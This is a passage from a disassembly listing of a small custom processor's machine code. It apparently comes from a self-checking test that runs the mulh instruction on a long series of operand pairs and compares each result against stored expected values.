32dc: 10 40 01 08 ld32 r8,r8
32e0: 0d 42 9a 1c wl16 r16,0x14dc
32e4: 0d 60 02 03 wh16 r16,0x3
32e8: 10 40 02 10 ld32 r16,r16
32ec: 0d 44 b9 38 wl16 r9,0x25d8
32f0: 0d 60 01 23 wh16 r9,0x3
32f4: 10 40 01 29 ld32 r9,r9
32f8: 00 60 01 10 mulh r8,r16
32fc: 20 70 03 e2 movepc rret,8
3300: 14 30 f3 44 br 10 <compare>,#al
3304: 00 10 00 41 add r2,1
3308: 0d 40 7d 04 wl16 r8,0x3e4
330c: 0d 60 01 03 wh16 r8,0x3
3310: 10 40 01 08 ld32 r8,r8
3314: 0d 42 9e 00 wl16 r16,0x14e0
3318: 0d 60 02 03 wh16 r16,0x3
331c: 10 40 02 10 ld32 r16,r16
3320: 0d 44 b9 3c wl16 r9,0x25dc
3324: 0d 60 01 23 wh16 r9,0x3
3328: 10 40 01 29 ld32 r9,r9
332c: 00 60 01 10 mulh r8,r16
3330: 20 70 03 e2 movepc rret,8
3334: 14 30 f3 37 br 10 <compare>,#al
3338: 00 10 00 41 add r2,1
333c: 0d 40 7d 08 wl16 r8,0x3e8
3340: 0d 60 01 03 wh16 r8,0x3
3344: 10 40 01 08 ld32 r8,r8
3348: 0d 42 9e 04 wl16 r16,0x14e4
334c: 0d 60 02 03 wh16 r16,0x3
3350: 10 40 02 10 ld32 r16,r16
3354: 0d 44 bd 20 wl16 r9,0x25e0
3358: 0d 60 01 23 wh16 r9,0x3
335c: 10 40 01 29 ld32 r9,r9
3360: 00 60 01 10 mulh r8,r16
3364: 20 70 03 e2 movepc rret,8
3368: 14 30 f3 2a br 10 <compare>,#al
336c: 00 10 00 41 add r2,1
3370: 0d 40 7d 0c wl16 r8,0x3ec
3374: 0d 60 01 03 wh16 r8,0x3
3378: 10 40 01 08 ld32 r8,r8
337c: 0d 42 9e 08 wl16 r16,0x14e8
3380: 0d 60 02 03 wh16 r16,0x3
3384: 10 40 02 10 ld32 r16,r16
3388: 0d 44 bd 24 wl16 r9,0x25e4
338c: 0d 60 01 23 wh16 r9,0x3
3390: 10 40 01 29 ld32 r9,r9
3394: 00 60 01 10 mulh r8,r16
3398: 20 70 03 e2 movepc rret,8
339c: 14 30 f3 1d br 10 <compare>,#al
33a0: 00 10 00 41 add r2,1
33a4: 0d 40 7d 10 wl16 r8,0x3f0
33a8: 0d 60 01 03 wh16 r8,0x3
33ac: 10 40 01 08 ld32 r8,r8
33b0: 0d 42 9e 0c wl16 r16,0x14ec
33b4: 0d 60 02 03 wh16 r16,0x3
33b8: 10 40 02 10 ld32 r16,r16
33bc: 0d 44 bd 28 wl16 r9,0x25e8
33c0: 0d 60 01 23 wh16 r9,0x3
33c4: 10 40 01 29 ld32 r9,r9
33c8: 00 60 01 10 mulh r8,r16
33cc: 20 70 03 e2 movepc rret,8
33d0: 14 30 f3 10 br 10 <compare>,#al
33d4: 00 10 00 41 add r2,1
33d8: 0d 40 7d 14 wl16 r8,0x3f4
33dc: 0d 60 01 03 wh16 r8,0x3
33e0: 10 40 01 08 ld32 r8,r8
33e4: 0d 42 9e 10 wl16 r16,0x14f0
33e8: 0d 60 02 03 wh16 r16,0x3
33ec: 10 40 02 10 ld32 r16,r16
33f0: 0d 44 bd 2c wl16 r9,0x25ec
33f4: 0d 60 01 23 wh16 r9,0x3
33f8: 10 40 01 29 ld32 r9,r9
33fc: 00 60 01 10 mulh r8,r16
3400: 20 70 03 e2 movepc rret,8
3404: 14 30 f3 03 br 10 <compare>,#al
3408: 00 10 00 41 add r2,1
340c: 0d 40 7d 18 wl16 r8,0x3f8
3410: 0d 60 01 03 wh16 r8,0x3
3414: 10 40 01 08 ld32 r8,r8
3418: 0d 42 9e 14 wl16 r16,0x14f4
341c: 0d 60 02 03 wh16 r16,0x3
3420: 10 40 02 10 ld32 r16,r16
3424: 0d 44 bd 30 wl16 r9,0x25f0
3428: 0d 60 01 23 wh16 r9,0x3
342c: 10 40 01 29 ld32 r9,r9
3430: 00 60 01 10 mulh r8,r16
3434: 20 70 03 e2 movepc rret,8
3438: 14 30 f2 f6 br 10 <compare>,#al
343c: 00 10 00 41 add r2,1
3440: 0d 40 7d 1c wl16 r8,0x3fc
3444: 0d 60 01 03 wh16 r8,0x3
3448: 10 40 01 08 ld32 r8,r8
344c: 0d 42 9e 18 wl16 r16,0x14f8
3450: 0d 60 02 03 wh16 r16,0x3
3454: 10 40 02 10 ld32 r16,r16
3458: 0d 44 bd 34 wl16 r9,0x25f4
345c: 0d 60 01 23 wh16 r9,0x3
3460: 10 40 01 29 ld32 r9,r9
3464: 00 60 01 10 mulh r8,r16
3468: 20 70 03 e2 movepc rret,8
346c: 14 30 f2 e9 br 10 <compare>,#al
3470: 00 10 00 41 add r2,1
3474: 0d 40 81 00 wl16 r8,0x400
3478: 0d 60 01 03 wh16 r8,0x3
347c: 10 40 01 08 ld32 r8,r8
3480: 0d 42 9e 1c wl16 r16,0x14fc
3484: 0d 60 02 03 wh16 r16,0x3
3488: 10 40 02 10 ld32 r16,r16
348c: 0d 44 bd 38 wl16 r9,0x25f8
3490: 0d 60 01 23 wh16 r9,0x3
3494: 10 40 01 29 ld32 r9,r9
3498: 00 60 01 10 mulh r8,r16
349c: 20 70 03 e2 movepc rret,8
34a0: 14 30 f2 dc br 10 <compare>,#al
34a4: 00 10 00 41 add r2,1
34a8: 0d 40 81 04 wl16 r8,0x404
34ac: 0d 60 01 03 wh16 r8,0x3
34b0: 10 40 01 08 ld32 r8,r8
34b4: 0d 42 a2 00 wl16 r16,0x1500
34b8: 0d 60 02 03 wh16 r16,0x3
34bc: 10 40 02 10 ld32 r16,r16
34c0: 0d 44 bd 3c wl16 r9,0x25fc
34c4: 0d 60 01 23 wh16 r9,0x3
34c8: 10 40 01 29 ld32 r9,r9
34cc: 00 60 01 10 mulh r8,r16
34d0: 20 70 03 e2 movepc rret,8
34d4: 14 30 f2 cf br 10 <compare>,#al
34d8: 00 10 00 41 add r2,1
34dc: 0d 40 81 08 wl16 r8,0x408
34e0: 0d 60 01 03 wh16 r8,0x3
34e4: 10 40 01 08 ld32 r8,r8
34e8: 0d 42 a2 04 wl16 r16,0x1504
34ec: 0d 60 02 03 wh16 r16,0x3
34f0: 10 40 02 10 ld32 r16,r16
34f4: 0d 44 c1 20 wl16 r9,0x2600
34f8: 0d 60 01 23 wh16 r9,0x3
34fc: 10 40 01 29 ld32 r9,r9
3500: 00 60 01 10 mulh r8,r16
3504: 20 70 03 e2 movepc rret,8
3508: 14 30 f2 c2 br 10 <compare>,#al
350c: 00 10 00 41 add r2,1
3510: 0d 40 81 0c wl16 r8,0x40c
3514: 0d 60 01 03 wh16 r8,0x3
3518: 10 40 01 08 ld32 r8,r8
351c: 0d 42 a2 08 wl16 r16,0x1508
3520: 0d 60 02 03 wh16 r16,0x3
3524: 10 40 02 10 ld32 r16,r16
3528: 0d 44 c1 24 wl16 r9,0x2604
352c: 0d 60 01 23 wh16 r9,0x3
3530: 10 40 01 29 ld32 r9,r9
3534: 00 60 01 10 mulh r8,r16
3538: 20 70 03 e2 movepc rret,8
353c: 14 30 f2 b5 br 10 <compare>,#al
3540: 00 10 00 41 add r2,1
3544: 0d 40 81 10 wl16 r8,0x410
3548: 0d 60 01 03 wh16 r8,0x3
354c: 10 40 01 08 ld32 r8,r8
3550: 0d 42 a2 0c wl16 r16,0x150c
3554: 0d 60 02 03 wh16 r16,0x3
3558: 10 40 02 10 ld32 r16,r16
355c: 0d 44 c1 28 wl16 r9,0x2608
3560: 0d 60 01 23 wh16 r9,0x3
3564: 10 40 01 29 ld32 r9,r9
3568: 00 60 01 10 mulh r8,r16
356c: 20 70 03 e2 movepc rret,8
3570: 14 30 f2 a8 br 10 <compare>,#al
3574: 00 10 00 41 add r2,1
3578: 0d 40 81 14 wl16 r8,0x414
357c: 0d 60 01 03 wh16 r8,0x3
3580: 10 40 01 08 ld32 r8,r8
3584: 0d 42 a2 10 wl16 r16,0x1510
3588: 0d 60 02 03 wh16 r16,0x3
358c: 10 40 02 10 ld32 r16,r16
3590: 0d 44 c1 2c wl16 r9,0x260c
3594: 0d 60 01 23 wh16 r9,0x3
3598: 10 40 01 29 ld32 r9,r9
359c: 00 60 01 10 mulh r8,r16
35a0: 20 70 03 e2 movepc rret,8
35a4: 14 30 f2 9b br 10 <compare>,#al
35a8: 00 10 00 41 add r2,1
35ac: 0d 40 81 18 wl16 r8,0x418
35b0: 0d 60 01 03 wh16 r8,0x3
35b4: 10 40 01 08 ld32 r8,r8
35b8: 0d 42 a2 14 wl16 r16,0x1514
35bc: 0d 60 02 03 wh16 r16,0x3
35c0: 10 40 02 10 ld32 r16,r16
35c4: 0d 44 c1 30 wl16 r9,0x2610
35c8: 0d 60 01 23 wh16 r9,0x3
35cc: 10 40 01 29 ld32 r9,r9
35d0: 00 60 01 10 mulh r8,r16
35d4: 20 70 03 e2 movepc rret,8
35d8: 14 30 f2 8e br 10 <compare>,#al
35dc: 00 10 00 41 add r2,1
35e0: 0d 40 81 1c wl16 r8,0x41c
35e4: 0d 60 01 03 wh16 r8,0x3
35e8: 10 40 01 08 ld32 r8,r8
35ec: 0d 42 a2 18 wl16 r16,0x1518
35f0: 0d 60 02 03 wh16 r16,0x3
35f4: 10 40 02 10 ld32 r16,r16
35f8: 0d 44 c1 34 wl16 r9,0x2614
35fc: 0d 60 01 23 wh16 r9,0x3
3600: 10 40 01 29 ld32 r9,r9
3604: 00 60 01 10 mulh r8,r16
3608: 20 70 03 e2 movepc rret,8
360c: 14 30 f2 81 br 10 <compare>,#al
3610: 00 10 00 41 add r2,1
3614: 0d 40 85 00 wl16 r8,0x420
3618: 0d 60 01 03 wh16 r8,0x3
361c: 10 40 01 08 ld32 r8,r8
3620: 0d 42 a2 1c wl16 r16,0x151c
3624: 0d 60 02 03 wh16 r16,0x3
3628: 10 40 02 10 ld32 r16,r16
362c: 0d 44 c1 38 wl16 r9,0x2618
3630: 0d 60 01 23 wh16 r9,0x3
3634: 10 40 01 29 ld32 r9,r9
3638: 00 60 01 10 mulh r8,r16
363c: 20 70 03 e2 movepc rret,8
3640: 14 30 f2 74 br 10 <compare>,#al
3644: 00 10 00 41 add r2,1
3648: 0d 40 85 04 wl16 r8,0x424
364c: 0d 60 01 03 wh16 r8,0x3
3650: 10 40 01 08 ld32 r8,r8
3654: 0d 42 a6 00 wl16 r16,0x1520
3658: 0d 60 02 03 wh16 r16,0x3
365c: 10 40 02 10 ld32 r16,r16
3660: 0d 44 c1 3c wl16 r9,0x261c
3664: 0d 60 01 23 wh16 r9,0x3
3668: 10 40 01 29 ld32 r9,r9
366c: 00 60 01 10 mulh r8,r16
3670: 20 70 03 e2 movepc rret,8
3674: 14 30 f2 67 br 10 <compare>,#al
3678: 00 10 00 41 add r2,1
367c: 0d 40 85 08 wl16 r8,0x428
3680: 0d 60 01 03 wh16 r8,0x3
3684: 10 40 01 08 ld32 r8,r8
3688: 0d 42 a6 04 wl16 r16,0x1524
368c: 0d 60 02 03 wh16 r16,0x3
3690: 10 40 02 10 ld32 r16,r16
3694: 0d 44 c5 20 wl16 r9,0x2620
3698: 0d 60 01 23 wh16 r9,0x3
369c: 10 40 01 29 ld32 r9,r9
36a0: 00 60 01 10 mulh r8,r16
36a4: 20 70 03 e2 movepc rret,8
36a8: 14 30 f2 5a br 10 <compare>,#al
36ac: 00 10 00 41 add r2,1
36b0: 0d 40 85 0c wl16 r8,0x42c
36b4: 0d 60 01 03 wh16 r8,0x3
36b8: 10 40 01 08 ld32 r8,r8
36bc: 0d 42 a6 08 wl16 r16,0x1528
36c0: 0d 60 02 03 wh16 r16,0x3
36c4: 10 40 02 10 ld32 r16,r16
36c8: 0d 44 c5 24 wl16 r9,0x2624
36cc: 0d 60 01 23 wh16 r9,0x3
36d0: 10 40 01 29 ld32 r9,r9
36d4: 00 60 01 10 mulh r8,r16
36d8: 20 70 03 e2 movepc rret,8
36dc: 14 30 f2 4d br 10 <compare>,#al
36e0: 00 10 00 41 add r2,1
36e4: 0d 40 85 10 wl16 r8,0x430
36e8: 0d 60 01 03 wh16 r8,0x3
36ec: 10 40 01 08 ld32 r8,r8
36f0: 0d 42 a6 0c wl16 r16,0x152c
36f4: 0d 60 02 03 wh16 r16,0x3
36f8: 10 40 02 10 ld32 r16,r16
36fc: 0d 44 c5 28 wl16 r9,0x2628
3700: 0d 60 01 23 wh16 r9,0x3
3704: 10 40 01 29 ld32 r9,r9
3708: 00 60 01 10 mulh r8,r16
370c: 20 70 03 e2 movepc rret,8
3710: 14 30 f2 40 br 10 <compare>,#al
3714: 00 10 00 41 add r2,1
3718: 0d 40 85 14 wl16 r8,0x434
371c: 0d 60 01 03 wh16 r8,0x3
3720: 10 40 01 08 ld32 r8,r8
3724: 0d 42 a6 10 wl16 r16,0x1530
3728: 0d 60 02 03 wh16 r16,0x3
372c: 10 40 02 10 ld32 r16,r16
3730: 0d 44 c5 2c wl16 r9,0x262c
3734: 0d 60 01 23 wh16 r9,0x3
3738: 10 40 01 29 ld32 r9,r9
373c: 00 60 01 10 mulh r8,r16
3740: 20 70 03 e2 movepc rret,8
3744: 14 30 f2 33 br 10 <compare>,#al
3748: 00 10 00 41 add r2,1
374c: 0d 40 85 18 wl16 r8,0x438
3750: 0d 60 01 03 wh16 r8,0x3
3754: 10 40 01 08 ld32 r8,r8
3758: 0d 42 a6 14 wl16 r16,0x1534
375c: 0d 60 02 03 wh16 r16,0x3
3760: 10 40 02 10 ld32 r16,r16
3764: 0d 44 c5 30 wl16 r9,0x2630
3768: 0d 60 01 23 wh16 r9,0x3
376c: 10 40 01 29 ld32 r9,r9
3770: 00 60 01 10 mulh r8,r16
3774: 20 70 03 e2 movepc rret,8
3778: 14 30 f2 26 br 10 <compare>,#al
377c: 00 10 00 41 add r2,1
3780: 0d 40 85 1c wl16 r8,0x43c
3784: 0d 60 01 03 wh16 r8,0x3
3788: 10 40 01 08 ld32 r8,r8
378c: 0d 42 a6 18 wl16 r16,0x1538
3790: 0d 60 02 03 wh16 r16,0x3
3794: 10 40 02 10 ld32 r16,r16
3798: 0d 44 c5 34 wl16 r9,0x2634
379c: 0d 60 01 23 wh16 r9,0x3
37a0: 10 40 01 29 ld32 r9,r9
37a4: 00 60 01 10 mulh r8,r16
37a8: 20 70 03 e2 movepc rret,8
37ac: 14 30 f2 19 br 10 <compare>,#al
37b0: 00 10 00 41 add r2,1
37b4: 0d 40 89 00 wl16 r8,0x440
37b8: 0d 60 01 03 wh16 r8,0x3
37bc: 10 40 01 08 ld32 r8,r8
37c0: 0d 42 a6 1c wl16 r16,0x153c
37c4: 0d 60 02 03 wh16 r16,0x3
37c8: 10 40 02 10 ld32 r16,r16
37cc: 0d 44 c5 38 wl16 r9,0x2638
37d0: 0d 60 01 23 wh16 r9,0x3
37d4: 10 40 01 29 ld32 r9,r9
37d8: 00 60 01 10 mulh r8,r16
37dc: 20 70 03 e2 movepc rret,8
37e0: 14 30 f2 0c br 10 <compare>,#al
37e4: 00 10 00 41 add r2,1
37e8: 0d 40 89 04 wl16 r8,0x444
37ec: 0d 60 01 03 wh16 r8,0x3
37f0: 10 40 01 08 ld32 r8,r8
37f4: 0d 42 aa 00 wl16 r16,0x1540
37f8: 0d 60 02 03 wh16 r16,0x3
37fc: 10 40 02 10 ld32 r16,r16
3800: 0d 44 c5 3c wl16 r9,0x263c
3804: 0d 60 01 23 wh16 r9,0x3
3808: 10 40 01 29 ld32 r9,r9
380c: 00 60 01 10 mulh r8,r16
3810: 20 70 03 e2 movepc rret,8
3814: 14 30 f1 ff br 10 <compare>,#al
3818: 00 10 00 41 add r2,1
381c: 0d 40 89 08 wl16 r8,0x448
3820: 0d 60 01 03 wh16 r8,0x3
3824: 10 40 01 08 ld32 r8,r8
3828: 0d 42 aa 04 wl16 r16,0x1544
382c: 0d 60 02 03 wh16 r16,0x3
3830: 10 40 02 10 ld32 r16,r16
3834: 0d 44 c9 20 wl16 r9,0x2640
3838: 0d 60 01 23 wh16 r9,0x3
383c: 10 40 01 29 ld32 r9,r9
3840: 00 60 01 10 mulh r8,r16
3844: 20 70 03 e2 movepc rret,8
3848: 14 30 f1 f2 br 10 <compare>,#al
384c: 00 10 00 41 add r2,1
3850: 0d 40 89 0c wl16 r8,0x44c
3854: 0d 60 01 03 wh16 r8,0x3
3858: 10 40 01 08 ld32 r8,r8
385c: 0d 42 aa 08 wl16 r16,0x1548
3860: 0d 60 02 03 wh16 r16,0x3
3864: 10 40 02 10 ld32 r16,r16
3868: 0d 44 c9 24 wl16 r9,0x2644
386c: 0d 60 01 23 wh16 r9,0x3
3870: 10 40 01 29 ld32 r9,r9
3874: 00 60 01 10 mulh r8,r16
3878: 20 70 03 e2 movepc rret,8
387c: 14 30 f1 e5 br 10 <compare>,#al
3880: 00 10 00 41 add r2,1
3884: 0d 40 89 10 wl16 r8,0x450
3888: 0d 60 01 03 wh16 r8,0x3
388c: 10 40 01 08 ld32 r8,r8
3890: 0d 42 aa 0c wl16 r16,0x154c
3894: 0d 60 02 03 wh16 r16,0x3
3898: 10 40 02 10 ld32 r16,r16
389c: 0d 44 c9 28 wl16 r9,0x2648
38a0: 0d 60 01 23 wh16 r9,0x3
38a4: 10 40 01 29 ld32 r9,r9
38a8: 00 60 01 10 mulh r8,r16
38ac: 20 70 03 e2 movepc rret,8
38b0: 14 30 f1 d8 br 10 <compare>,#al
38b4: 00 10 00 41 add r2,1
38b8: 0d 40 89 14 wl16 r8,0x454
38bc: 0d 60 01 03 wh16 r8,0x3
38c0: 10 40 01 08 ld32 r8,r8
38c4: 0d 42 aa 10 wl16 r16,0x1550
38c8: 0d 60 02 03 wh16 r16,0x3
38cc: 10 40 02 10 ld32 r16,r16
38d0: 0d 44 c9 2c wl16 r9,0x264c
38d4: 0d 60 01 23 wh16 r9,0x3
38d8: 10 40 01 29 ld32 r9,r9
38dc: 00 60 01 10 mulh r8,r16
38e0: 20 70 03 e2 movepc rret,8
38e4: 14 30 f1 cb br 10 <compare>,#al
38e8: 00 10 00 41 add r2,1
38ec: 0d 40 89 18 wl16 r8,0x458
38f0: 0d 60 01 03 wh16 r8,0x3
38f4: 10 40 01 08 ld32 r8,r8
38f8: 0d 42 aa 14 wl16 r16,0x1554
38fc: 0d 60 02 03 wh16 r16,0x3
3900: 10 40 02 10 ld32 r16,r16
3904: 0d 44 c9 30 wl16 r9,0x2650
3908: 0d 60 01 23 wh16 r9,0x3
390c: 10 40 01 29 ld32 r9,r9
3910: 00 60 01 10 mulh r8,r16
3914: 20 70 03 e2 movepc rret,8
3918: 14 30 f1 be br 10 <compare>,#al
391c: 00 10 00 41 add r2,1
3920: 0d 40 89 1c wl16 r8,0x45c
3924: 0d 60 01 03 wh16 r8,0x3
3928: 10 40 01 08 ld32 r8,r8
392c: 0d 42 aa 18 wl16 r16,0x1558
3930: 0d 60 02 03 wh16 r16,0x3
3934: 10 40 02 10 ld32 r16,r16
3938: 0d 44 c9 34 wl16 r9,0x2654
393c: 0d 60 01 23 wh16 r9,0x3
3940: 10 40 01 29 ld32 r9,r9
3944: 00 60 01 10 mulh r8,r16
3948: 20 70 03 e2 movepc rret,8
394c: 14 30 f1 b1 br 10 <compare>,#al
3950: 00 10 00 41 add r2,1
3954: 0d 40 8d 00 wl16 r8,0x460
3958: 0d 60 01 03 wh16 r8,0x3
395c: 10 40 01 08 ld32 r8,r8
3960: 0d 42 aa 1c wl16 r16,0x155c
3964: 0d 60 02 03 wh16 r16,0x3
3968: 10 40 02 10 ld32 r16,r16
396c: 0d 44 c9 38 wl16 r9,0x2658
3970: 0d 60 01 23 wh16 r9,0x3
3974: 10 40 01 29 ld32 r9,r9
3978: 00 60 01 10 mulh r8,r16
397c: 20 70 03 e2 movepc rret,8
3980: 14 30 f1 a4 br 10 <compare>,#al
3984: 00 10 00 41 add r2,1
3988: 0d 40 8d 04 wl16 r8,0x464
398c: 0d 60 01 03 wh16 r8,0x3
3990: 10 40 01 08 ld32 r8,r8
3994: 0d 42 ae 00 wl16 r16,0x1560
3998: 0d 60 02 03 wh16 r16,0x3
399c: 10 40 02 10 ld32 r16,r16
39a0: 0d 44 c9 3c wl16 r9,0x265c
39a4: 0d 60 01 23 wh16 r9,0x3
39a8: 10 40 01 29 ld32 r9,r9
39ac: 00 60 01 10 mulh r8,r16
39b0: 20 70 03 e2 movepc rret,8
39b4: 14 30 f1 97 br 10 <compare>,#al
39b8: 00 10 00 41 add r2,1
39bc: 0d 40 8d 08 wl16 r8,0x468
39c0: 0d 60 01 03 wh16 r8,0x3
39c4: 10 40 01 08 ld32 r8,r8
39c8: 0d 42 ae 04 wl16 r16,0x1564
39cc: 0d 60 02 03 wh16 r16,0x3
39d0: 10 40 02 10 ld32 r16,r16
39d4: 0d 44 cd 20 wl16 r9,0x2660
39d8: 0d 60 01 23 wh16 r9,0x3
39dc: 10 40 01 29 ld32 r9,r9
39e0: 00 60 01 10 mulh r8,r16
39e4: 20 70 03 e2 movepc rret,8
39e8: 14 30 f1 8a br 10 <compare>,#al
39ec: 00 10 00 41 add r2,1
39f0: 0d 40 8d 0c wl16 r8,0x46c
39f4: 0d 60 01 03 wh16 r8,0x3
39f8: 10 40 01 08 ld32 r8,r8
39fc: 0d 42 ae 08 wl16 r16,0x1568
3a00: 0d 60 02 03 wh16 r16,0x3
3a04: 10 40 02 10 ld32 r16,r16
3a08: 0d 44 cd 24 wl16 r9,0x2664
3a0c: 0d 60 01 23 wh16 r9,0x3
3a10: 10 40 01 29 ld32 r9,r9
3a14: 00 60 01 10 mulh r8,r16
3a18: 20 70 03 e2 movepc rret,8
3a1c: 14 30 f1 7d br 10 <compare>,#al
3a20: 00 10 00 41 add r2,1
3a24: 0d 40 8d 10 wl16 r8,0x470
3a28: 0d 60 01 03 wh16 r8,0x3
3a2c: 10 40 01 08 ld32 r8,r8
3a30: 0d 42 ae 0c wl16 r16,0x156c
3a34: 0d 60 02 03 wh16 r16,0x3
3a38: 10 40 02 10 ld32 r16,r16
3a3c: 0d 44 cd 28 wl16 r9,0x2668
3a40: 0d 60 01 23 wh16 r9,0x3
3a44: 10 40 01 29 ld32 r9,r9
3a48: 00 60 01 10 mulh r8,r16
3a4c: 20 70 03 e2 movepc rret,8
3a50: 14 30 f1 70 br 10 <compare>,#al
3a54: 00 10 00 41 add r2,1
3a58: 0d 40 8d 14 wl16 r8,0x474
3a5c: 0d 60 01 03 wh16 r8,0x3
3a60: 10 40 01 08 ld32 r8,r8
3a64: 0d 42 ae 10 wl16 r16,0x1570
3a68: 0d 60 02 03 wh16 r16,0x3
3a6c: 10 40 02 10 ld32 r16,r16
3a70: 0d 44 cd 2c wl16 r9,0x266c
3a74: 0d 60 01 23 wh16 r9,0x3
3a78: 10 40 01 29 ld32 r9,r9
3a7c: 00 60 01 10 mulh r8,r16
3a80: 20 70 03 e2 movepc rret,8
3a84: 14 30 f1 63 br 10 <compare>,#al
3a88: 00 10 00 41 add r2,1
3a8c: 0d 40 8d 18 wl16 r8,0x478
3a90: 0d 60 01 03 wh16 r8,0x3
3a94: 10 40 01 08 ld32 r8,r8
3a98: 0d 42 ae 14 wl16 r16,0x1574
3a9c: 0d 60 02 03 wh16 r16,0x3
3aa0: 10 40 02 10 ld32 r16,r16
3aa4: 0d 44 cd 30 wl16 r9,0x2670
3aa8: 0d 60 01 23 wh16 r9,0x3
3aac: 10 40 01 29 ld32 r9,r9
3ab0: 00 60 01 10 mulh r8,r16
3ab4: 20 70 03 e2 movepc rret,8
3ab8: 14 30 f1 56 br 10 <compare>,#al
3abc: 00 10 00 41 add r2,1
3ac0: 0d 40 8d 1c wl16 r8,0x47c
3ac4: 0d 60 01 03 wh16 r8,0x3
3ac8: 10 40 01 08 ld32 r8,r8
3acc: 0d 42 ae 18 wl16 r16,0x1578
3ad0: 0d 60 02 03 wh16 r16,0x3
3ad4: 10 40 02 10 ld32 r16,r16
3ad8: 0d 44 cd 34 wl16 r9,0x2674
3adc: 0d 60 01 23 wh16 r9,0x3
3ae0: 10 40 01 29 ld32 r9,r9
3ae4: 00 60 01 10 mulh r8,r16
3ae8: 20 70 03 e2 movepc rret,8
3aec: 14 30 f1 49 br 10 <compare>,#al
3af0: 00 10 00 41 add r2,1
3af4: 0d 40 91 00 wl16 r8,0x480
3af8: 0d 60 01 03 wh16 r8,0x3
3afc: 10 40 01 08 ld32 r8,r8
3b00: 0d 42 ae 1c wl16 r16,0x157c
3b04: 0d 60 02 03 wh16 r16,0x3
3b08: 10 40 02 10 ld32 r16,r16
3b0c: 0d 44 cd 38 wl16 r9,0x2678
3b10: 0d 60 01 23 wh16 r9,0x3
3b14: 10 40 01 29 ld32 r9,r9
3b18: 00 60 01 10 mulh r8,r16
3b1c: 20 70 03 e2 movepc rret,8
3b20: 14 30 f1 3c br 10 <compare>,#al
3b24: 00 10 00 41 add r2,1
3b28: 0d 40 91 04 wl16 r8,0x484
3b2c: 0d 60 01 03 wh16 r8,0x3
3b30: 10 40 01 08 ld32 r8,r8
3b34: 0d 42 b2 00 wl16 r16,0x1580
3b38: 0d 60 02 03 wh16 r16,0x3
3b3c: 10 40 02 10 ld32 r16,r16
3b40: 0d 44 cd 3c wl16 r9,0x267c
3b44: 0d 60 01 23 wh16 r9,0x3
3b48: 10 40 01 29 ld32 r9,r9
3b4c: 00 60 01 10 mulh r8,r16
3b50: 20 70 03 e2 movepc rret,8
3b54: 14 30 f1 2f br 10 <compare>,#al
3b58: 00 10 00 41 add r2,1
3b5c: 0d 40 91 08 wl16 r8,0x488
3b60: 0d 60 01 03 wh16 r8,0x3
3b64: 10 40 01 08 ld32 r8,r8
3b68: 0d 42 b2 04 wl16 r16,0x1584
3b6c: 0d 60 02 03 wh16 r16,0x3
3b70: 10 40 02 10 ld32 r16,r16
3b74: 0d 44 d1 20 wl16 r9,0x2680
3b78: 0d 60 01 23 wh16 r9,0x3
3b7c: 10 40 01 29 ld32 r9,r9
3b80: 00 60 01 10 mulh r8,r16
3b84: 20 70 03 e2 movepc rret,8
3b88: 14 30 f1 22 br 10 <compare>,#al
3b8c: 00 10 00 41 add r2,1
3b90: 0d 40 91 0c wl16 r8,0x48c
3b94: 0d 60 01 03 wh16 r8,0x3
3b98: 10 40 01 08 ld32 r8,r8
3b9c: 0d 42 b2 08 wl16 r16,0x1588
3ba0: 0d 60 02 03 wh16 r16,0x3
3ba4: 10 40 02 10 ld32 r16,r16
3ba8: 0d 44 d1 24 wl16 r9,0x2684
3bac: 0d 60 01 23 wh16 r9,0x3
3bb0: 10 40 01 29 ld32 r9,r9
3bb4: 00 60 01 10 mulh r8,r16
3bb8: 20 70 03 e2 movepc rret,8
3bbc: 14 30 f1 15 br 10 <compare>,#al
3bc0: 00 10 00 41 add r2,1
3bc4: 0d 40 91 10 wl16 r8,0x490
3bc8: 0d 60 01 03 wh16 r8,0x3
3bcc: 10 40 01 08 ld32 r8,r8
3bd0: 0d 42 b2 0c wl16 r16,0x158c
3bd4: 0d 60 02 03 wh16 r16,0x3
3bd8: 10 40 02 10 ld32 r16,r16
3bdc: 0d 44 d1 28 wl16 r9,0x2688
3be0: 0d 60 01 23 wh16 r9,0x3
3be4: 10 40 01 29 ld32 r9,r9
3be8: 00 60 01 10 mulh r8,r16
3bec: 20 70 03 e2 movepc rret,8
3bf0: 14 30 f1 08 br 10 <compare>,#al
3bf4: 00 10 00 41 add r2,1
3bf8: 0d 40 91 14 wl16 r8,0x494
3bfc: 0d 60 01 03 wh16 r8,0x3
3c00: 10 40 01 08 ld32 r8,r8
3c04: 0d 42 b2 10 wl16 r16,0x1590
3c08: 0d 60 02 03 wh16 r16,0x3
3c0c: 10 40 02 10 ld32 r16,r16
3c10: 0d 44 d1 2c wl16 r9,0x268c
3c14: 0d 60 01 23 wh16 r9,0x3
3c18: 10 40 01 29 ld32 r9,r9
3c1c: 00 60 01 10 mulh r8,r16
3c20: 20 70 03 e2 movepc rret,8
3c24: 14 30 f0 fb br 10 <compare>,#al
3c28: 00 10 00 41 add r2,1
3c2c: 0d 40 91 18 wl16 r8,0x498
3c30: 0d 60 01 03 wh16 r8,0x3
3c34: 10 40 01 08 ld32 r8,r8
3c38: 0d 42 b2 14 wl16 r16,0x1594
3c3c: 0d 60 02 03 wh16 r16,0x3
3c40: 10 40 02 10 ld32 r16,r16
3c44: 0d 44 d1 30 wl16 r9,0x2690
3c48: 0d 60 01 23 wh16 r9,0x3
3c4c: 10 40 01 29 ld32 r9,r9
3c50: 00 60 01 10 mulh r8,r16
3c54: 20 70 03 e2 movepc rret,8
3c58: 14 30 f0 ee br 10 <compare>,#al
3c5c: 00 10 00 41 add r2,1
3c60: 0d 40 91 1c wl16 r8,0x49c
3c64: 0d 60 01 03 wh16 r8,0x3
3c68: 10 40 01 08 ld32 r8,r8
3c6c: 0d 42 b2 18 wl16 r16,0x1598
3c70: 0d 60 02 03 wh16 r16,0x3
3c74: 10 40 02 10 ld32 r16,r16
3c78: 0d 44 d1 34 wl16 r9,0x2694
3c7c: 0d 60 01 23 wh16 r9,0x3
3c80: 10 40 01 29 ld32 r9,r9
3c84: 00 60 01 10 mulh r8,r16
3c88: 20 70 03 e2 movepc rret,8
3c8c: 14 30 f0 e1 br 10 <compare>,#al
3c90: 00 10 00 41 add r2,1
3c94: 0d 40 95 00 wl16 r8,0x4a0
3c98: 0d 60 01 03 wh16 r8,0x3
3c9c: 10 40 01 08 ld32 r8,r8
3ca0: 0d 42 b2 1c wl16 r16,0x159c
3ca4: 0d 60 02 03 wh16 r16,0x3
3ca8: 10 40 02 10 ld32 r16,r16
3cac: 0d 44 d1 38 wl16 r9,0x2698
3cb0: 0d 60 01 23 wh16 r9,0x3
